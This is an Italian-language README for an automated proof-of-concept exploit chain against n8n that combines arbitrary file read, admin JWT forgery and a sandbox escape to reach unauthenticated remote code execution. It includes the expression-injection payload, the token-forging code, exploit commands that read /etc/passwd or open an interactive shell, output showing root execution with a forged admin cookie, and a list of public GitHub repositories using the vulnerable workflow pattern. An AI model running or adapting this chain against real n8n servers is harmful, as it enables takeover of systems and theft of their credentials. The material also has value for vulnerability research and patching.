
Automated exploit chain per n8n che combina lettura arbitraria di file, falsificazione del token admin e bypass della sandbox per ottenere esecuzione remota di codice non autenticata.
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Critico) |
| Versioni Affette | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corretta | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgata | 2026-01-07 11:09 UTC |
| Nome in Codice | Ni8mare |
| Crediti | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Processo | Automatizzato con IA: diff patch → riproduzione → laboratorio → exploit (~9h dopo la divulgazione) |
| Tipo | Proof of Concept - NON un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni) |
Catena completa RCE non autenticata su n8n:
L'esposizione è basata sulla versione. In termini di esposizione, ci sono istanze n8n vulnerabili accessibili pubblicamente.
Risultati LeakIX: Visualizza istanze esposte
Questo exploit è stato sviluppato in modo indipendente dal write-up di Cyera (scoperto dopo il completamento). Differenze chiave:
| Cyera (Ricerca Originale) | Questo Exploit | |
|---|---|---|
| Lettura File | Carica nella knowledge base AI → interroga tramite chat | Risposta HTTP diretta |
| Prerequisiti | Workflow chat + integrazione AI | Qualsiasi modulo con upload file |
| Metodo RCE | Nodo "Execute Command" (disabilitato di default) | Iniezione di Espressioni (funziona su installazioni predefinite) |
| Automazione | Demo manuale/concettuale | Script Python completamente automatizzato |
Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione AI, questo exploit necessita di un modulo con nodo Respond. Vedi Limitazioni per i dettagli.
┌───────────────────────────────────────────────────────────┐
│ NON AUTENTICATO │
├───────────────────────────────────────────────────────────┤
│ 1. Leggi /proc/self/environ → Trova directory HOME │
│ 2. Leggi $HOME/.n8n/config → Ottieni encryptionKey │
│ 3. Leggi $HOME/.n8n/database.sqlite → Ottieni credenziali admin │
├───────────────────────────────────────────────────────────┤
│ FORGIATURA TOKEN │
├───────────────────────────────────────────────────────────┤
│ 4. Deriva segreto JWT da encryptionKey │
│ 5. Forgia cookie sessione admin │
├───────────────────────────────────────────────────────────┤
│ RCE AUTENTICATO │
├───────────────────────────────────────────────────────────┤
│ 6. Crea workflow con iniezione di espressioni │
│ 7. Bypass sandbox tramite this.process.mainModule.require│
│ 8. Esegui comandi arbitrari │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️
// PRIMA (vulnerabile)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// DOPO (corretto)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.
n8n mette in sandbox il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:
| Tecnica | Stato |
|---|---|
| Execute Command Node | Disabilitato di default (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodi SSH/HTTP | Eseguono su server remoti, non sull'host n8n |
| Fuga Sandbox Pyodide | CVE-2025-68668 - richiede Python Code Node |
| Iniezione di Espressioni | CVE-2025-68613 - funziona su installazioni predefinite |
Ho usato l'Iniezione di Espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Le espressioni n8n hanno accesso a this.process.mainModule.require → fuga completa dalla sandbox.
# Derivazione segreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forgia token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Attendi ~60 secondi per la configurazione
# Modulo: http://localhost:5678/form/vulnerable-form
# Credenziali: [email protected] / password
# Leggi file arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Catena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Shell interattiva
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Lettura File Arbitraria → Forgiatura Token → Bypass Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Versione: 1.65.0 (VULNERABILE)
[x] Directory HOME
[+] Directory HOME: /root
[x] Chiave di cifratura
[+] Chiave di cifratura: yusrXZV1...
[x] Database
[+] Database: 1327104 byte
[x] Utente admin
[+] Utente admin: [email protected]
[x] Forgiatura token
[+] Forgiatura token: OK
[x] Accesso admin
[+] Accesso admin: CONCESSO!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Questo NON è un exploit "pwn qualsiasi n8n". Richiede condizioni specifiche per funzionare:
| Requisito | Descrizione |
|---|---|
| Modulo con upload file | Il target deve avere un workflow modulo con campo upload file |
| Nodo Respond to Webhook | Il workflow deve restituire il contenuto del file nella risposta HTTP |
| Workflow attivo | Il workflow del modulo deve essere attivato |
| Accesso non autenticato | Il modulo deve essere accessibile pubblicamente (senza autenticazione) |
Esempio di configurazione workflow vulnerabile:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo pattern è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, processori di documenti).
Funziona:
Non funziona:
Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.
Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).
Il pattern vulnerabile (Form Trigger + upload file + Respond to Webhook) esiste in repository GitHub pubblici.
Nota: I repository di workflow n8n popolari (>100⭐) non usano questo pattern. Questi sono progetti community/personali:
| File Workflow | Campi File | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Immagini, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento(PDF) | text |
| ai_resume_project/resume_rag.json | Upload File | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | File Audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Carica il tuo documento | default |
| learn_earn_ai_insta/.../My workflow.json | carica il tuo file | default |
| finintworkshop/.../API using n8n (ToT).json |
Questi sono workflow contribuiti dalla community. Nessun template ufficiale n8n.io usa questo pattern vulnerabile.
| file |
json |